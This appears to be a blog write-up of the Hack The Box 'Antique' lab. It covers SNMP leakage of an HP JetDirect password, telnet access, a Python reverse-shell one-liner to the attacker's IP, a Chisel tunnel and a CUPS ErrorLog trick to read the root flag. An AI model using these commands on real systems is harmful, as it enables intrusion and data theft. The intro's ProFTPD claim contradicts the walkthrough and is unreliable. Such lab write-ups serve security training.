Post

Antique Write Up HTB

Antique Write Up HTB

img-description

Antique on Hack The Box is an easy-difficulty Linux machine that revolves around exploiting a vulnerable ProFTPD server and escalating privileges through misconfigurations in the system. The initial foothold requires leveraging a known vulnerability in ProFTPD to gain remote code execution, granting access to the machine. From there, privilege escalation involves identifying and exploiting weaknesses in system configurations to achieve root access.

This machine is ideal for beginners looking to understand FTP exploitation and basic privilege escalation techniques in a controlled environment.

ENUMERATION


First, we perform a port scan as usual with the command:

1
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.107 -oG allPorts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.107 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-30 23:10 CET
Initiating SYN Stealth Scan at 23:10
Scanning 10.10.11.107 [65535 ports]
Discovered open port 23/tcp on 10.10.11.107
Completed SYN Stealth Scan at 23:10, 12.03s elapsed (65535 total ports)
Nmap scan report for 10.10.11.107
Host is up, received user-set (0.044s latency).
Scanned at 2025-01-30 23:10:11 CET for 12s
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE REASON
23/tcp open  telnet  syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.15 seconds      
Raw packets sent: 65535 (2.884MB) | Rcvd: 65535 (2.621MB)


TELNET


As we can see, port 23 is open, so let’s analyze it using the Telnet tool.

1
telnet 10.10.11.107

When entering the command, it asks for a password that we do not have, so we need to continue investigating.


SNMP


To do this, we run the following command to enumerate the public data:

1
snmpwalk -v 2c -c public 10.10.11.107
1
2
snmpwalk -v 2c -c public 10.10.11.107
iso.3.6.1.2.1 = STRING: "HTB Printer"

Once we know it is a printer, we can look at the “iso” part, and thanks to that, we can run the following command:

1
snmpwalk -v 2c -c public 10.10.11.107 .1.3.6.1.4.1
1
2
3
4
snmpwalk -v 2c -c public 10.10.11.107 .1.3.6.1.4.1
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 
iso.3.6.1.4.1.11.2.3.9.1.2.1.0 = No more variables left in this MIB View (It is past the end of the MIB tree)

We get hexadecimal data. To decrypt it, we use a Python script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import re

# Function to convert hexadecimal to text
def hex_to_text(hex_string):
    # Split the hexadecimal string into blocks of 2 characters
    hex_values = hex_string.split()
    
    # Convert each hexadecimal value to its corresponding character
    decoded_text = ''.join([chr(int(h, 16)) for h in hex_values if 32 <= int(h, 16) <= 126])  # Only printable characters
    
    return decoded_text

# Function that only accepts text input when Enter is pressed
def get_hex_input():
    print("Please enter the hexadecimal data (only text) and press Enter:")
    hex_input = ""
    while True:
        # Take input line by line
        line = input()
        
        # Ensure the line is not empty and contains only valid characters
        if line.strip() == "":
            print("Input cannot be empty. Please try again.")
            continue
        
        # Make sure only valid hexadecimal characters (0-9, A-F) are entered
        if not re.match(r'^[0-9A-Fa-f\s]+$', line):
            print("Please enter only valid hexadecimal characters. Try again.")
            continue
        
        # If the line is valid, add it to the full text
        hex_input += line.strip() + " "
        
        # Ask if more data should be entered
        response = input("Do you want to enter more data? (Y/N): ").strip().lower()
        if response != 'y':
            break
    
    # If a '33' is missing at the end (the number 3 in hexadecimal), we add it automatically
    if not hex_input.endswith("33"):
        hex_input += "33"
    
    return hex_input.strip()

# Get and process the input
hex_input = get_hex_input()

# Check if the input is not empty
if hex_input:
    # Convert and display the result
    decoded_result = hex_to_text(hex_input)
    print(f"Decoded text: {decoded_result}")
else:
    print("No hexadecimal data was entered.")

We run it:

1
2
3
4
5
python3 py.py
Please enter the hexadecimal data (only text) and press Enter:
50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135Do you want to enter more data? (Y/N): 
Decoded text: P@ssw0rd@123!!123

Now that we have the password, we can try to log in again on port 23 with the same command:

1
telnet 10.10.11.107
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
telnet 10.10.11.107
Trying 10.10.11.107...
Connected to 10.10.11.107.
Escape character is '^]'.

HP JetDirect

Password: P@ssw0rd@123!!123

Please type "?" for HELP
> dir
Err updating configuration
> ?

To Change/Configure Parameters Enter:
Parameter-name: value <Carriage Return>

Parameter-name Type of value
ip: IP-address in dotted notation
subnet-mask: address in dotted notation (enter 0 for default)
default-gw: address in dotted notation (enter 0 for default)
syslog-svr: address in dotted notation (enter 0 for default)
idle-timeout: seconds in integers
set-cmnty-name: alpha-numeric string (32 chars max)
host-name: alpha-numeric string (upper case only, 32 chars max)
dhcp-config: 0 to disable, 1 to enable
allow: <ip> [mask] (0 to clear, list to display, 10 max)

addrawport: <TCP port num> (<TCP port num> 3000-9000)
deleterawport: <TCP port num>
listrawport: (No parameter required)

To see the command help, we enter ? in the shell and see that there is an exec command, which allows us to execute a reverse shell to our IP. Before doing that, we listen on any port with Netcat like this:

1
❯ nc -lvnp 1234

Once we are listening, we can execute:

1
 exec python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("YOUR IP",YOUR PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

When we execute it and look at the Netcat, we can see that it successfully connects. If not, try running the above command multiple times.

1
2
3
4
5
6
7
8
❯ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.10.9] from (UNKNOWN) [10.10.11.107] 58136
lp@antique:~$ ls
ls
telnet.py  user.txt
lp@antique:~$ cat user.txt
2849dbk##################

PRIVILEGE ESCALATION


Once inside, we run the following command:

1
netstat -ant
1
2
3
4
5
6
7
8
9
lp@antique:~$ netstat -ant
netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN     
tcp        0      0 10.10.11.107:23         10.10.14.12:51668       ESTABLISHED
tcp        0    150 10.10.11.107:58136      10.10.14.12:1234        ESTABLISHED
tcp6       0      0 ::1:631                 :::*                    LISTEN 

We notice a strange port 631 running, so we investigate further. To do that, we download Chisel on our machine Chisel Release.

After downloading and unpacking, we run the following commands:

1
2
cd chisel && go build -ldflags="-s -w"
sudo ./chisel server -p 8000 --reverse

Once installed, we move it to the “Antique” machine and run a Python server:

1
python3 -m http.server 8001
1
2
3
4
❯ python3 -m http.server 8001

Serving HTTP on 0.0.0.0 port 8001 (http://0.0.0.0:8001/) ...

CHECK THAT THE PYTHON SERVER IS STARTED WHERE CHISEL IS LOCATED AND PERFORM THE WGET ON THE ANTIQUE MACHINE TO /TMP. Now, we run the following command on the Antique machine:

1
wget 10.10.10.9:8001/chisel_1.10.1_linux_amd64
1
2
3
4
5
6
7
8
9
10
11
lp@antique:~$ wget 10.10.10.9:8001/chisel_1.10.1_linux_amd64
wget 10.10.14.12:8001/chisel_1.10.1_linux_amd64
--2025-01-30 22:57:46--  http://10.10.10.9:8001/chisel_1.10.1_linux_amd64
Connecting to 10.10.14.12:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 13233243 (13M) [application/octet-stream]
Saving to: ‘chisel’

chisel              100%[===================>]  12.62M  8.05MB/s    in 1.6s    

2025-01-30 22:57:48 (8.05 MB/s) - ‘chisel_1.10.1_linux_amd64’ saved [13233243/13233243]

Next, we give it the necessary execution permissions:

1
chmod +x chisel_1.10.1_linux_amd64
1
2
lp@antique:/tmp$ chmod +x chisel_1.10.1_linux_amd64
chmod +x chisel_1.10.1_linux_amd64
1
2
3
lp@antique:/tmp$ ./chisel_1.10.1_linux_amd64 client 10.10.10.9:8000 R:9631:localhost:631
2025/01/31 16:06:04 client: Connecting to ws://10.10.14.12:8000
2025/01/31 16:06:04 client: Connected (Latency 46.104106ms)

After running the previous command, we will see this on our Chisel server:

1
2
3
4
5
chisel server --reverse -p 8000
2025/01/31 17:03:53 server: Reverse tunnelling enabled
2025/01/31 17:03:53 server: Fingerprint MupEXm/o7MuUD1Lq4Z+jLkAawJT9BN0GM56n1ohIkl4=
2025/01/31 17:03:53 server: Listening on http://0.0.0.0:8000
2025/01/31 17:06:04 server: session#1: tun: proxy#R:9631=>localhost:631: Listening

This means we did it correctly. Now, on our machine, we can go to our localhost on port 631, and we will see this:

After spending some time investigating, we go to Administration and find some interesting things:

We can see an Error Log section that shows it’s running as localhost, which can be modified on the victim machine. Therefore, we run the following command:

1
cupsctl ErrorLog="/root/root.txt"
1
lp@antique:/tmp$ cupsctl ErrorLog="/root/root.txt"

Now, when we perform a curl on the error log URL, we get the root flag:

1
curl http://localhost:631/admin/log/error_log?
1
2
lp@antique:/tmp$ curl http://localhost:631/admin/log/error_log?
56a7575cae9c41a9############

Finally we can get the root flag!

This post is licensed under CC BY 4.0 by the author.